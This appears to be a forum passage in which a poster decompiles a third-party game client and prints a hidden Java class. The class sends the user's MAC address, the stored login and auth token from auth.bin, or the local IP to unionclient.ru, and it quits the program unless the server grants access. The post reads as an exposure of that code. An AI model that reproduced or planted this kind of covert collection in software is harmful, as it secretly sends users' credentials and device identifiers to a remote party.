2) Decode by boshaw LayerUtil
3) Open "Code_0.class" in JD-Gui
4) ....
5) And you see...
- Code: Select all
package haven;
import java.io.File;
import java.net.InetAddress;
import union.APXUtils;
public class SweetDream
implements RemoteLoader.IRemoteLoadable
{
public void load()
{
try
{
String link = "http://unionclient.ru/clauth.php?mode=silent&mac=" + APXUtils.getMACAdress();
File authsig = new File("auth.bin");
if ((authsig.exists()) && (authsig.canRead()))
{
String content = APXUtils.readFile(authsig);
String[] tokens = content.split("\n");
link = link + "&login=" + tokens[0] + "&token=" + tokens[1];
}
else
{
link = link + "&info=" + String.format("IP:%s", new Object[] { InetAddress.getLocalHost().getHostAddress() });
}
String jsonText = APXUtils.getHTML(link);
if (!jsonText.contains("GRANTED"))
{
APXUtils.isAuthenticated = false;
System.exit(0);
}
else
{
APXUtils.isAuthenticated = true;
}
}
catch (Exception localException) {}
}
}